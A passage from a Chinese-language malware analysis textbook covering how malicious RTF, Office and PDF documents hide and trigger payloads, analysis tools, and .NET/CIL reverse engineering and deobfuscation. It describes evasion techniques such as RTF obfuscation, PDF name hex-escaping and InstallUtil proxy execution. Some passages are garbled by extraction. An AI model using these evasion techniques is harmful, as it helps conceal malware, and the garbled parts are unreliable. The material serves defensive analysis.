  • \fonttbl: 引入字体表组的控制词。

  • \pard: 重置为默认段落属性。

  • \par: 指定新段落(或当前段落的结束)。

  • 分隔符: 标志着 RTF 控制词的结束。总共有三种类型的分隔符:

    • 空格: 视为控制词的一部分。

    • 非字母数字符号: 终止控制词,但不包括在其中。

    • 带可选连字符的数字(用于指定负数): 表示数值参数;可以是正数或负数。

  • 控制符号: 这些符号包括反斜杠,后跟非字母字符。这些与控制词处理方式相同。

  • : 组由文本和控制词或指定相关属性的符号组成,所有这些都被大括号包围。

嵌入式可执行负载通常存储在以下区域:

  • \object 控制词的 \objdata 参数。数据可以是各种数据格式,并使用 \objclass 控制词指定。以下是一些示例格式:

    • OLE2(例如,Word.Document.8)

    • OOXML

    • PDF

  • \datastore 块的内容。

  • 文档覆盖区域(在 markdown 后的区域):

图 8.18 – 存储在文档覆盖区域中的恶意可执行文件

图 8.18 – 存储在文档覆盖区域中的恶意可执行文件

除此之外,远程恶意负载可以通过 \objautlink 控制词访问。此外,\objupdate 常用于重新加载对象,无需用户交互即可实现代码执行。

就混淆而言,存在多种技术,如下所示:

  • 在数据中间插入{\object}条目

  • 插入多个过多的\bin[num]条目

  • 在对象数据中添加空格:

图 8.19 – 使用过多的\bin 控制字的恶意软件

图 8.19 – 使用过多的\bin 控制字的恶意软件

现在,让我们讨论遵循Office Open XMLOOXML)格式的威胁。

Office Open XML 格式

OOXML 格式与较新的 Microsoft Office 产品相关联,并实现在扩展名为x的文件中,如.docx.xlsx.pptx。在撰写本文时,这是现代 Office 版本使用的默认格式。

在这种情况下,所有信息都存储在Open Packaging ConventionOPC)包中,这些包是遵循特定结构并存储 XML 和其他数据及其之间关系的 ZIP 存档。

这是其基本结构:

  • [Content_Types].xml:此文件可以在任何文档中找到,并为包的各个部分存储 MIME 类型信息。

  • _rels:此目录包含包内文件之间的关系。所有具有关系的文件都会在此处有一个同名并以.rels扩展名结尾的文件。此外,它还包含一个单独的.rels XML 文件,用于存储包关系。

  • docProps:此处包含几个描述与文档相关的特定属性的 XML 文件 - 例如,core.xml用于核心属性(如创建者或各种日期),app.xml用于页面数、字符数等。

  • <特定文档类型的目录>:此目录包含实际的文档数据。其名称取决于目标应用程序。以下是一些示例:

    • word代表 Microsoft Word:主要信息存储在document.xml文件中。

    • xl代表 Microsoft Excel:在这种情况下,主文件将是workbook.xml

    • ppt代表 Microsoft PowerPoint:这里,主要信息位于presentation.xml文件中。

现在我们已经熟悉了常见的文档格式,是时候学习如何分析利用它们的恶意软件了。

MS Office 漏洞的静态和动态分析

在本节中,我们将学习如何分析恶意 Microsoft Office 文档。在这里,我们将专注于利用漏洞的恶意软件。宏威胁将在第十章脚本和宏 - 反向工程,解混淆和调试中进行讨论,因为从技术角度来看,它们并不被分类为漏洞利用。

静态分析

有很多工具允许分析员查看原始 Microsoft Office 格式,如下所示:

  • oletools:一套独特的强大工具,允许分析人员分析与 Microsoft Office 产品相关的所有常见文档。以下是一些示例:

    • olebrowse: 一个相当基础的 GUI 工具,允许你浏览 CFB 文档

    • oledir: 显示 CFB 文件中的目录条目

    • olemap: 显示文档中存在的所有扇区,包括头部

    • oleobj: 允许你从 CFB 文件中提取嵌入的对象

    • rtfobj: 几乎与 oleobj 相同的功能,但这次是针对 RTF 文档

  • oledump: 这个强大的工具能够提供有关文档中流的宝贵信息,并提供转储和解压选项。

  • rtfdump: 另一个由同一作者开发的工具,旨在帮助分析 RTF 文档。

  • OfficeMalScanner: 提供多种启发式分析方法,能够搜索和分析 shellcode 条目,以及加密的 MZ-PE 文件。对于 RTF 文件,它有一个专用的RTFScan工具。

关于较新的基于 Open XML 的文件(如.docx.xlsx.pptx),可以使用officedissector,这是一个用 Python 编写的解析库,专为安全分析 OOXML 文件而设计,能够自动化某些任务。但总体而言,一旦解压,它们总是可以用你喜欢的文本编辑器进行 XML 高亮分析。类似地,正如我们之前提到的,RTF 文件不一定需要任何特定软件,几乎可以在任何文本编辑器中分析。

在进行静态分析时,通常最好先提取宏(如果存在的话),并检查是否存在其他非漏洞相关的技术,例如 DDE 或 PowerPoint 操作(这些分析会在第十章中讲解,脚本与宏—逆向分析、去混淆和调试)。然后,需要检查是否存在任何 URL 或高熵二进制块,因为它们可能表明存在 shellcode。只有在这一点之后,才有意义深入挖掘文档结构中的异常,这些异常可能表明存在漏洞。

动态分析

这些类型漏洞的动态分析可以分为两个阶段:

  • 高级分析: 在这一阶段,你必须重现并确认恶意行为。通常包括以下步骤:

    1. 找出实际的漏洞载荷: 通常,这部分可以在静态分析阶段完成。否则,可以设置各种行为分析工具(文件系统、注册表、进程和网络监控器),并在漏洞触发的下一步中寻找可疑条目。

    2. 确定受此漏洞影响的产品版本: 如果漏洞已经公开,通常会包含已确认的受影响版本。否则,可以在不同的虚拟机快照中安装多个版本,以便找到至少一个能可靠重现漏洞触发的版本。

  • 低级: 在许多情况下,这个阶段并不需要,因为我们已经知道漏洞应该做什么以及哪些产品受到影响。然而,如果我们需要验证漏洞的 CVE 编号或处理零日漏洞,可能需要弄清楚到底是哪个 bug 被利用了。

一旦我们能够可靠地重现触发的漏洞,我们可以将其附加到相应 Microsoft Office 产品的目标模块,并继续调试,直到我们看到负载被触发。然后,我们可以拦截这一时刻,深入研究它是如何工作的。

研究恶意 PDF

便携式文档格式PDF)是由 Adobe 在 90 年代开发的,目的是统一地呈现文档,无论使用什么应用软件或操作系统。最初是专有的,2008 年发布为开放标准。不幸的是,由于其流行,多个攻击者滥用它来传递恶意负载。让我们看看它们是如何工作的以及如何分析它们。

文件结构

PDF 是一个树形文件,由实现八种数据类型之一的对象组成:

  • 空对象: 表示缺少数据。

  • 布尔值: 经典的真/假值。

  • 数字: 包括整数和实数值。

  • 名称: 这些值可以通过前面的斜杠来识别。

  • 字符串: 用圆括号括起来。

  • 数组: 用方括号括起来。

  • 字典: 在这种情况下,使用双大括号。

  • : 这些是主要的数据存储块,支持二进制数据。流可以被压缩以减少相关数据的大小。

除此之外,还可以借助百分号(%)符号使用注释。

所有复杂的数据对象(如图像或 JavaScript 条目)都使用基本数据类型存储。在许多情况下,对象会有相应的字典,字典中会提到数据类型,并且实际数据存储在流中。

PDF 文档通常以 %PDF 签名开始,后跟格式版本号(例如,1.7),中间用连字符分隔。然而,由于 PDF 文档是从末尾读取的,因此不能保证这一点,不同的 PDF 查看器允许在签名前插入不同数量的任意字节(在大多数情况下,至少为1000个字节):

图 8.20 – 有效文档的 %PDF 签名前的任意字节

图 8.20 – 有效文档的 %PDF 签名前的任意字节

可以使用多个关键字定义数据对象的边界和类型,如下所示:

  • %PDF 签名):

图 8.21 – PDF 文档中的 xref 表

图 8.21 – PDF 文档中的 xref 表

另一个不太常见的选项是交叉引用流,它起着相同的作用。

  • obj 关键字由对象编号及其生成编号(在文件更新时可以增加)组成,所有内容用空格分隔:

图 8.22 – PDF 文档中对象的示例

图 8.22 – PDF 文档中对象的示例

  • stream/endstream:可用于定义存储实际数据的流。

  • startxref 关键字指定索引表的偏移量和 %%EOF 标记。

以下是分析恶意 PDF 时,分析人员可能感兴趣的最常见条目:

  • /Type:定义相关对象数据的类型。以下是一些示例:

    • /ObjStm:对象流是一种复杂的数据类型,可用于存储多个对象。通常,它伴随有其他几个条目,例如 /N 用于定义嵌入对象的数量,/First 用于定义第一个对象的偏移量。流的第一行定义了嵌入对象的编号和偏移量,所有内容由空格分隔。

    • /Action:描述要执行的动作。其类型如下:

      • /Launch:定义执行指定应用程序的启动动作,应用程序通过 /F 值指定,其参数通过 /P 值指定。

      • /URI:定义 URI 操作以解析指定的 URI。

      • /JavaScript:执行指定的 JavaScript 片段,/JS 定义了一个文本字符串或一个包含 JavaScript 代码块的流,该代码块将在动作(呈现或 JavaScript)触发后执行。

      • /Rendition:也可用于执行 JavaScript。可以使用相同的 /JS 名称来指定它。

      • /SubmitForm:将数据发送到指定的地址。URL 在 /F 条目中提供,并可能在钓鱼文档中使用。

    • /EmbeddedFiles:可用于存储辅助文件,例如恶意载荷。

    • /Catalog:这是对象层次结构的根。它定义了对其他对象的引用,如下所示:

      • /Names:一个可选的文档名称字典。它允许通过名称而不是引用来引用一些对象——例如,使用 /JavaScript/EmbeddedFiles 映射。

      • /OpenAction:指定打开文档后要显示的目标(通常,这对于恶意软件分析无关紧要)或执行的动作(参见前面的列表)。

      • /AA:指定与触发事件相关的附加动作。

  • /XF:指定基于 XML 的表单。它可以包含嵌入的 JavaScript 代码。

  • /Filter:该条目定义了要应用于相关流的解码过滤器,以使数据变得可读。/FFilter 可用于流的外部文件。对于某些过滤器,可以使用 /DecodeParms(或 /FDecodeParms)指定可选参数。如果需要,可以级联多个过滤器。过滤器主要分为两类:压缩过滤器和 ASCII 过滤器。以下是一些常见的恶意软件中使用的例子:

    • /FlateDecode:可能是最常见的压缩文本和二进制数据的方式,它使用 zlib/deflate 算法:

图 8.23 – PDF 文档中使用的 /FlateDecode 过滤器

图 8.23 – PDF 文档中使用的 /FlateDecode 过滤器

  • /LZWDecode: 在这种情况下,使用 LZW 压缩算法。

  • /RunLengthDecode: 在这里,数据使用 游程编码RLE)算法进行编码。

  • /ASCIIHexDecode: 数据使用 ASCII 中的十六进制表示法进行编码。

  • /ASCII85Decode: 另一种编码二进制数据的方式,在这种情况下,使用 ASCII85(也称为 Base85)编码。

  • /Encrypt: 文件尾部字典中的一个条目,指定该文档受密码保护。相应对象中的条目指定了保护的方式:

    • /O: 该条目定义了所有者加密文档。通常用于 DRM(数字版权管理)目的。

    • /U: 与所谓的用户加密文档相关联,通常用于保密。恶意软件作者可能会利用它绕过安全检查,然后给受害者提供密码以打开文件。

值得一提的是,在现代规范中,可以使用 #XX 十六进制表示法替换这些名称的部分(甚至是整个名称)。因此,/URI 可以变成 /#55RI,甚至是 /#55#52#49

一些条目可能会引用其他对象,使用字母 R。例如,/Length 15 0 R 表示实际的长度值存储在一个单独的对象中,即 15,在第 0 代。当文件更新时,会添加一个带有递增代号的新对象。

PDF 文件的静态与动态分析

现在,是时候学习如何分析恶意 PDF 文件了。在本节中,我们将介绍一些可以帮助分析的工具,并提供有关何时以及如何使用它们的指南。

静态分析

在许多情况下,静态分析几乎可以回答工程师在分析这些样本时遇到的任何问题。多种专用开源工具可以使这一过程变得相当简单。让我们来看看其中一些最流行的工具:

  • -a: 显示 PDF 样本的统计信息

  • -O: 解析 /ObjStm 对象

  • -k: 搜索感兴趣的名称

  • -d: 使用 -o 参数指定的对象进行转储

  • -w: 原始输出

  • -f: 通过解码器传递对象

  • peepdf: 这是恶意软件分析人员工具箱中的另一个工具,提供多种有用的命令,旨在识别、提取、解码和美化提取的数据。* PDFStreamDumper: 这款 Windows 工具将多个功能结合在一个全面的 GUI 中,并提供在分析恶意 PDF 文档时所需的丰富功能。它重点关注从流中提取和处理各种类型的有效载荷,并支持多种编码算法,包括一些较少见的编码算法。图 8.24 – PDFStreamDumper 工具

图 8.24 – PDFStreamDumper 工具

  • malpdfobj:该工具的作者采用了一种略有不同的方法,工具会生成一个包含所有从恶意 PDF 中提取和解码信息的 JSON,使其更为可见。这样,如果需要,它可以通过脚本语言轻松解析。

除了这些,多种工具和库可以通过解析 PDF 结构、解密文档或解码流来促进分析。这些工具包括qpdfPyPDF2origami

在对恶意 PDF 文件进行静态分析时,通常可以从列出操作和不同类型的对象开始。特别注意我们之前列出的可疑条目。解码所有编码的流,看看里面有什么,因为它们可能包含恶意模块。

如果 JavaScript 对象已经被提取,请参考第十章脚本和宏 - 逆向工程、去混淆与调试中提供的静态和动态分析的建议。在很多情况下,漏洞功能是通过此语言实现的。ActionScript 现在已经不那么常见,因为 Flash Player 已被停止支持。

动态分析

在动态分析方面,可以遵循对 Microsoft Office 漏洞所采取的相同步骤:

  1. 弄清楚被利用的有效载荷是什么。

  2. 确定易受攻击的产品版本。

  3. 使用候选产品打开文档,并使用行为分析工具确认它是否触发漏洞。

  4. 在易受攻击产品的代码中找到触发漏洞的地方。

如果实际的漏洞主体是用其他语言(如 JavaScript)编写的,那么可能更方便将其中的一部分单独调试,同时模拟漏洞所需的环境。这部分内容也将在第十章脚本和宏 - 逆向工程、去混淆与调试中进行讲解。

总结

在这一章中,我们熟悉了各种类型的漏洞、针对它们的攻击方式以及旨在应对这些漏洞的不同技术。然后,我们学习了 Shellcode,它如何在不同平台上有所不同,以及如何分析它。

最后,我们介绍了当前在野外常见的其他类型的漏洞攻击——即恶意的 PDF 和 Microsoft Office 文档,并解释了如何检查它们。有了这些知识,你可以判断攻击者的思维方式,并理解可以用来破坏目标系统的各种技术背后的逻辑。

第九章逆向字节码语言 - .NET、Java 及更多中,我们将学习如何处理使用字节码语言编写的恶意软件,工程师在分析过程中可能遇到的挑战,以及如何应对这些挑战。

第九章:反向字节码语言 – .NET、Java 及更多

跨平台编译程序的美妙之处在于它们的灵活性,因为你无需花费大量精力将每个程序移植到不同的系统上。在本章中,我们将学习恶意软件作者如何利用这些优势进行恶意用途。此外,你将获得一系列旨在使分析快速高效的技术和工具。

在本章中,我们将涵盖以下主题:

  • 字节码语言的基本理论

  • .NET 解释

  • .NET 恶意软件分析

  • Visual Basic 的基本要点

  • 解析 Visual Basic 示例

  • Java 示例的内部

  • 分析编译的 Python 威胁

字节码语言的基本理论

.NET、Java、Python 等许多语言设计为跨平台。相应的源代码不会被编译成汇编语言(如 Intel、ARM 等),而是被编译成一种称为字节码语言的中间语言。字节码语言类似于汇编语言,但可以轻松地由解释器执行或即时编译成本地语言(这取决于 CPU 和操作系统)。这种编译方式称为即时编译JIT)。

面向对象编程

大多数这些字节码语言遵循编程和开发领域的最新技术。它们实现了所谓的面向对象编程OOP)。如果你以前没听说过,OOP 基于对象的概念。这些对象包含属性(有时称为字段或属性)和包含过程(有时称为函数或方法)。这些对象可以相互交互。

对象可以是相同设计或蓝图的不同实例,这称为。下图显示了汽车类及其不同的实例或对象:

图 9.1 – 一个汽车类和三个不同的对象

图 9.1 – 一个汽车类和三个不同的对象

在这个类中,有诸如燃料和速度之类的属性,以及诸如accelerate()stop()之类的方法。一些对象可以相互交互并调用这些方法或直接修改这些属性。

继承

另一个重要的概念是继承。继承允许子类继承(或包含)父类中包含的所有属性和方法(包括内部的代码)。这个子类可以拥有更多的属性或方法,甚至可以重新实现父类中包含的方法(有时称为超类或父类)。

多态性

继承使得一个类能够在所谓的多态中表示多种不同类型的对象。一个Shape类可以表示不同的子类,例如LineCircleSquare等。一个绘图应用程序可以遍历所有Shape对象(无论它们的子类是什么),并执行paint()方法,将它们绘制到屏幕或程序画布上,而无需单独处理每个类。

由于Shape类具有paint()方法,并且它的每个子类都有该方法的实现,因此应用程序只需执行paint()方法,而无需关心其具体实现,这样就变得更加简单。

.NET 解释

.NET 语言(主要是 C#和 VB.NET)是微软设计的跨平台语言。相应的源代码被编译成字节码语言,最初命名为Microsoft Intermediate LanguageMSIL),现在被称为Common Intermediate LanguageCIL)。此语言由Common Language RuntimeCLR)执行,CLR 是一个应用程序虚拟机,提供内存管理和异常处理。

.NET 文件结构

.NET 文件结构基于我们在第三章中描述的 PE 结构,x86/x64 的基本静态和动态分析。 .NET 结构以 PE 头开始,包含数据目录中的倒数第二个条目,指向.NET 的特殊CLR 头COR20 头)。

.NET COR20 头

.text部分,包含有关.NET 文件的基本信息,如以下截图所示:

图 9.2 – CLR 头(COR20 头)和 CLR 流

图 9.2 – CLR 头(COR20 头)和 CLR 流

该结构的一些值如下:

  • cb:表示头的大小(始终为 0x48)

  • MajorRuntimeVersionMinorRuntimeVersion:始终为 2 和 5(即使是运行时 4)

  • 元数据地址和大小:包含所有 CLR 流,稍后将详细描述

  • 0x6000012值,我们得到了以下内容:

    • #~流(我们稍后会详细讨论流)。在以下截图中,我们可以看到它对应于Methods表。

    • Main

图 9.3 – 第一流中的方法表中的入口点方法,#~

图 9.3 – 第一流中的方法表中的入口点方法,#~

现在,让我们来谈谈流。

元数据流

元数据包含五个部分,它们类似于 PE 文件的部分,但称为流。流的名称以#开头,具体如下:

  • Methods表的 ID 是 0x6)。

  • #~流。此流包括方法名称、类名称等。每个条目以其长度开始,接着是字符串,然后是下一个条目的长度,再接着是字符串,依此类推。

  • #Strings 流,但它包含了应用程序本身使用的字符串,如下图所示(结构与项长度后跟字符串相同):

图 9.4 – #US Unicode 字符串以长度开头,后跟实际的字符串

图 9.4 – #US Unicode 字符串以长度开头,后跟实际的字符串

  • #GUID:存储唯一标识符(GUID)。

  • #US#Strings,但它包含了与应用程序相关的所有二进制数据。它的格式与项长度相同,后面跟着数据块。

所以,这就是 .NET 应用程序的结构。现在,让我们来看看如何将 .NET 应用程序与其他可执行文件区分开来。

如何通过 PE 特征识别 .NET 应用程序

识别 .NET PE 文件的第一种方法是使用 PEiDCFF Explorer,这些工具包含了覆盖 .NET 应用程序的签名,如下图所示:

图 9.5 – PEiD 检测到恶意软件是一个 .NET 应用程序

图 9.5 – PEiD 检测到恶意软件是一个 .NET 应用程序

第二种方法是检查数据目录中的导入表。.NET 应用程序总是只导入一个 API,即来自 mscoree.dll_CorExeMain,如下所示:

图 9.6 – .NET 应用程序导入表

图 9.6 – .NET 应用程序导入表

最后,你可以检查数据目录中的倒数第二个(第 15 个)条目,这代表了 CLR 头。如果它被填充了(即包含非 NULL 的值),那么它就是一个 .NET 应用程序,并且这应该是一个 CLR 头(你可以使用 CFF Explorer 来检查)。

CIL 语言指令集

CIL(也称为 MSIL)语言与简化指令集计算机RISC)汇编语言非常相似。然而,它不包含任何寄存器,所有的变量、类、字段、方法等都是通过它们在流和表中的 ID 进行访问。局部变量也通过它们在方法中的 ID 进行访问。大部分代码基于将变量和常量加载到栈中,执行操作(其结果存储在栈中),然后将这个结果弹出并存入局部变量或对象中的字段。

该语言由一组操作码和这些操作码的参数(如果需要的话)组成。大多数操作码占用 1 个字节。让我们来看看这门语言中的指令。

推送到栈中的指令

有许多指令用于将值或 ID 存储到栈中。这些可以通过操作后续访问,或者存储在其他变量中。以下是一些示例:

重要提示

对于所有需要 ID 的指令,它们都以 2 字节的形式接收 ID。它们有一个简化版,后缀为.s,它们以 1 字节的形式接收 ID。

处理常量或数组元素的指令(ldcldelem)带有描述该值类型的后缀。这里是使用的类型:

现在,让我们学习如何将栈中的值提取到另一个变量或字段中。

从栈中取出一个值

这里是一些指令,让你从栈中提取(弹出)一个值或引用到另一个变量或字段:

重要提示

需要 ID 的指令也有带 .s 后缀的简化版本。某些指令,如 stindstelem,可能还有值类型后缀(如 .i4.r8)。

数学和逻辑操作

CIL 语言实现了你将在任何汇编语言中看到的相同操作,例如 addsubshlshrxororandmuldivnotnegrem(除法余数)和 nop(无操作)。

这些指令从栈中获取参数,并将结果保存回栈中。可以使用任何存储指令(如 stloc)将它们存储在变量中。

分支指令

这是学习的最后一组重要指令。这些指令与分支和条件跳转有关。这些指令与汇编语言的区别不大,但它们依赖栈中的值来进行比较和分支:

现在,让我们把这些知识应用到实践中,学习源代码如何转换为这些指令。

CIL 语言转换为高级语言

到目前为止,我们已经讨论了各种 IL 语言指令以及 .NET 应用程序的主要区别因素和文件结构。在本节中,我们将查看这些高级语言(VB.NET、C# 等)以及它们的语句、分支和循环是如何转换为 CIL 语言的。

局部变量赋值

这是一个使用常量值 10 设置局部变量值的例子:

X = 10;

这将被转换为以下内容:

ldc.i4 10  // pushes an int32 constant with value 10 to the stack
stloc.0  // pops a value to local variable 0 (X) from stack

轻松简单。

使用方法返回值进行局部变量赋值

这里是另一个更复杂的例子,展示了如何调用方法,将其参数推送到栈中,并将返回值存储在局部变量中(这里,调用的是类中的静态方法,而不是对象的虚方法):

Process[] Process = System.Diagnostics.Process::GetProcessesByName("App01");

中间代码如下所示:

ldstr "App01" // here, ldstr accesses that string by its ID and the string itself is located in the #US stream
call class [System]System.Diagnostics.Process[] [System]System.Diagnostics.Process::GetProcessesByName(string)
Stloc.0       // store the return value in local variable 0 (X)

基本的分支语句

对于 if 语句,C# 代码如下所示:

if (X == 50)
{
  Y = 20;
}

相应的 IL 代码如下所示(这里,我们为分支指令添加了行号):

00: ldloc.0  // load local variable 0 (X)
01: ldc.i4.s 50  // load int32 constant with value 50 into the stack
02: bne 5       // if not equal, branch/jump to line number 5
03: ldc.i4.s 20 // load int32 constant with value 20 into the stack
04: stloc.1     // place the value 20 from the stack to the local variable 1 (Y)
05: nop       // here, it could be any code that goes after the If statement
06: nop

这些指令还将帮助我们理解下一个主题——循环。

循环语句

我们将在本节中讲解的最后一个示例是for循环。这个语句比if语句复杂,甚至比while语句的循环还要复杂。然而,它在 C#中使用广泛,理解它将有助于你理解 IL 语言中的其他复杂语句。C#代码如下:

for (i = 0; i < 50; i++)
{
  X = i + 20;
}

等效的 IL 代码如下:

00: ldc.i4.0 // pushes a constant with value 0
01: stloc.0  // stores it in local variable 0 (i). This represents i = 0
02: br 11    // unconditional branching to line 11
03: ldloc.0  // loads variable 0 (i) into stack
04: ldc.i4.s 20 // loads an int32 constant with value 20 into stack
05: add      // adds both values from the stack and pushes the result back to stack (i + 20)
06: stloc.1  // stores the result in a local variable 1 (X)
07: ldloc.0  // loads local variable 0 (i)
08: ldc.i4.1 // pushes a constant value of 1
09: add      // adds both values
10: stloc.0  // stores the result in local variable i (i++)
11: ldloc.0  // loads again local variable i (this is the branching destination)
12: ldc.i4.s 50 // loads an int32 constant with value 50 into stack
13: blt.s 3  // compares both values from stack (i and 50) and branches to line number 3 if the first value is lower

这就是.NET 文件结构和 IL 语言的介绍。现在,让我们学习如何分析.NET 恶意软件。

.NET 恶意软件分析

如你所知,.NET 应用程序很容易被反汇编和反编译,以尽可能接近原始源代码。这使得恶意软件更容易受到逆向工程的攻击。我们将在本节中描述多种混淆技术,并介绍去混淆过程。首先,让我们探索用于.NET 逆向工程的工具。

.NET 分析工具

这里是一些最知名的反编译和分析工具:

  • ILSpy:这是一个很好的静态分析反编译工具,但它不能调试恶意软件。

  • dnSpy:基于 ILSpy 和 dnlib,它是一个反汇编器和反编译器,还可以让你调试和修补代码。

  • .NET reflector:一款用于静态分析和 Visual Studio 调试的商业反编译工具。

  • .NET IL Editor (DILE):另一个强大的工具,允许你反汇编和调试.NET 应用程序。

  • dotPeek:一款用于将恶意软件反编译为 C#代码的工具。它适用于静态分析,并且在 Visual Studio 的帮助下可以重新编译和调试。

  • Visual Studio:Visual Studio 是.NET 语言的主要 IDE。它允许你编译源代码并调试.NET 应用程序。

  • SOSEX:一个用于 WinDbg 的插件,可以简化.NET 调试。

以下是最著名的去混淆工具:

  • de4dot:同样基于 dnlib,它非常适用于去除已知混淆工具混淆的样本。

  • NoFuserEx:一个用于 ConfuserEx 混淆器的去混淆工具

  • Detect It Easy (DiE):一款用于检测.NET 混淆器的优秀工具。

在以下示例中,我们将主要使用 dnSpy 工具。

静态和动态分析

现在,我们将学习如何进行静态分析和动态分析,然后对样本进行修补,以删除或修改混淆代码。

.NET 静态分析

多种工具可以帮助你反汇编和反编译样本,甚至将其完全转换为 C#或 VB.NET 源代码。例如,你可以通过将样本拖放到应用程序界面中,使用dnSpy进行反编译。以下是该应用程序的界面:

图 9.7 – 使用 dnSpy 对恶意样本进行静态分析

图 9.7 – 使用 dnSpy 对恶意样本进行静态分析

你可以点击文件 | 导出为项目将反编译的源代码导出为 Visual Studio 项目。现在,你可以阅读源代码、修改代码、写注释,或者修改函数名称以便更好的分析。如果你右键点击并从菜单中选择编辑 IL 语言,dnSpy 还可以显示样本的实际 IL 语言。

要跳转到主函数,你可以右键点击程序(从侧边栏),选择OnRunOnStartupOnCreateMainForm,以及在表单中进行选择。当分析与表单相关的代码时,从它们的构造函数(.ctor)开始,并注意哪些函数被添加到base.Load中,以及在此之后调用了哪些函数。一些方法,例如表单的OnLoad方法,可能也会被重写。

你还可以使用另一个工具——dotPeek。它是一个免费的工具,也可以将样本反编译并导出为 C#源代码。它的界面与 Visual Studio 非常相似。你还可以使用 IDA 分析 CIL 语言。

最后,标准的ildasm.exe工具可以反汇编并导出样本的 IL 代码:

ildasm.exe <malware_sample> /output output.il

.NET 动态分析

在调试过程中,可用的工具较少。dnSpy 是一个完整的解决方案,适用于静态和动态分析。它允许你设置断点,并进行单步调试。它还会显示变量的值。

要开始调试,你需要在样本的入口点设置一个断点。另一种选择是将源代码导出为 C#,然后在 Visual Studio 中重新编译并调试程序,这样你将完全控制程序的执行。Visual Studio 还会显示变量的值,并具有许多有助于调试的功能。

如果样本经过了过度混淆,无法通过 dotPeek 或 Dnspy 进行调试或导出为 C#代码,可以依赖ildasm.exe将样本代码导出为 IL 语言,并使用ilasm.exe重新编译并包含调试信息。下面是使用ilasm.exe重新编译的步骤:

ilasm.exe /debug output.il /output=<new sample exe file>

使用/debug参数,已经为该样本创建了一个.pdb文件,其中包含了调试信息。

.NET 样本的修补

有多种方法可以修改样本代码,用于去混淆、简化代码或强制执行特定路径。第一种选择是使用 dnSpy 的修补功能。在 dnSpy 中,你可以通过右键点击任何方法或类,选择编辑方法(C#),修改代码后重新编译。你也可以导出整个项目,修改源代码,进入编辑方法(C#),点击 C#图标导入源代码文件,并替换该类的原始代码进行编译。你还可以在 Visual Studio 中修改恶意代码源(导出后),并重新编译以便调试。

在 dnSpy 中,你可以通过从菜单中选择 Edit IL Instruction(编辑 IL 指令)并选择 Locals(本地变量)来修改本地变量的名称,如下截图所示。对于类和方法,你可以通过更新它们来修改名称,方法是使用 Edit Method (C#)(编辑方法)或 Edit Class (C#)(编辑类)选项:

图 9.8 – 在 dnSpy 中编辑本地变量

图 9.8 – 在 dnSpy 中编辑本地变量

你还可以通过选择 Edit IL Instruction(编辑 IL 指令)直接编辑 IL 代码,并修改指令。这使你可以选择指令以及你想要访问的字段或变量。

处理混淆

在本节中,我们将研究不同的常见混淆技术,并学习如何解混淆 .NET 样本。

混淆的类、方法等名称

最常见的混淆技术之一是混淆类、方法、变量、字段等的名称——基本上是所有有名称的内容。

如果将名称混淆为其他字母表或其他符号(因为名称是 Unicode 格式),例如中文或日文,混淆的难度会更大。

你可以通过在命令行运行 de4dot 解混淆工具,尝试自动解混淆此类样本,如下所示:

de4dot.exe <sample>

这将重命名所有混淆的名称,如下截图所示(这里展示的是 HammerDuke 样本):

图 9.9 – 在运行 de4dot 解混淆名称前后的 Hammerduke 恶意软件

图 9.9 – 在运行 de4dot 解混淆名称前后的 Hammerduke 恶意软件

你还可以手动重命名方法,为其添加更有意义的名称,方法是右键点击方法,选择 Edit Method(编辑方法),或点击 Alt + Enter 并修改方法名称。之后,你需要保存模块并重新加载,以使更改生效。

你还可以通过右键点击方法并选择 Edit Method Body(编辑方法体)或 Edit IL Instructions(编辑 IL 指令)并选择 Locals(本地变量)来编辑本地变量名称。

二进制中的加密字符串

.NET 恶意软件使用的另一种常见技术是加密其字符串。这种方法可以将这些字符串隐藏在基于签名的工具以及经验较少的恶意软件分析师面前。处理加密字符串需要找到解密函数,并在每次调用时设置断点,如下截图所示:

图 9.10 – Samsam 勒索病毒加密的字符串在内存中被解密

图 9.10 – Samsam 勒索病毒加密的字符串在内存中被解密

有时候,会有难以访问的加密字符串,因此你可能不会在恶意软件的默认执行过程中看到它们被解密——例如,因为 C&C 服务器无法连接,或者可能存在额外的 C&C 地址,在第一个 C&C 正常工作的情况下这些地址不会被解密。在这些情况下,你可以执行以下操作:

  • 你可以尝试使用 de4dot 通过提供方法 ID 来解密加密字符串。你可以通过检查 #~ 流中的 Methods 表来找到方法 ID,如下图所示:

图 9.11 – Samsam 勒索病毒 myff11() 解密函数,ID 0x0600000C

图 9.11 – Samsam 勒索病毒 myff11() 解密函数,ID 0x0600000C

然后,你可以使用以下命令动态解密字符串:

de4dot <sample> --strtyp delegate --strtok <decryption method ID>
  • 你可以修改入口点代码并添加调用解密函数的代码来解密字符串。前面的截图是通过重新指向对解密函数的调用,包括加密字符串,生成的。为了让 dnSpy 处理此代码,你必须通过更改对象字段或调用 System.Console.Writeline() 将字符串打印到控制台来使用这些字符串。你需要在修改后保存模块,并重新打开它以使更改生效。

另一个选择是通过点击 文件 | 导出到项目(其他工具也可能有类似功能)将整个恶意软件源代码从 dnSpy 导出,进行修改,然后在 Visual Studio 中重新编译并调试它。

样本使用混淆器进行混淆

有很多公开可用的 .NET 混淆器。它们通常用于保护知识产权,但也常被恶意软件作者用来保护他们的样本免受逆向工程。有多种工具可以检测已知的打包器,如 Detect It EasyDiE),如下图所示:

图 9.12 – 使用 Detect It Easy 检测保护恶意软件的混淆器(ConfuserEx)

图 9.12 – 使用 Detect It Easy 检测保护恶意软件的混淆器(ConfuserEx)

你也可以使用 de4dot 工具通过运行 de4dot.exe -d <sample> 命令来检测混淆器,或者使用 de4dot.exe <sample> 命令解混淆样本。

对于自定义和未知的混淆器,你需要通过调试和修补过程来处理它们。在此之前,请检查不同的资源,看是否有相关的解决方案或解混淆工具。如果该混淆器是共享软件,你可能可以与作者联系并获得他们的帮助来解混淆样本(因为这些混淆器并非为了帮助恶意软件作者保护他们的样本而设计的)。

编译后交付并代理代码执行

攻击者可能还会尝试使用标准的csc.exe工具,在受害者的机器上动态编译恶意有效负载,而不是直接分发恶意.NET 二进制文件。这种方法通常通过脚本来实现,我们将在下一章中讨论这些脚本。

此外,攻击者可能会使用标准的InstallUtil.exe工具加载恶意.NET 样本,而不是直接执行它们。对于攻击者来说,这种方法的主要优势在于,在这种情况下,所有相关活动都会以签名合法应用程序的名义进行。需要知道的是,在这种情况下,加载的模块执行将从继承自标准System.Configuration.Install.Installer类的类开始。

动态加载的代码块

有时,恶意软件可能会解密或解码下一个代码块,并使用例如标准的AppDomain.CurrentDomain.Load方法动态加载它。在这种情况下,可以通过进入此方法并跟踪代码,直到达到UnsafeInvokeInternalRuntimeMethodHandle.InvokeMethod控制转移点,在 dnSpy 中到达该有效负载的第一条指令。以下是来自 AgentTesla 恶意软件的一个示例:

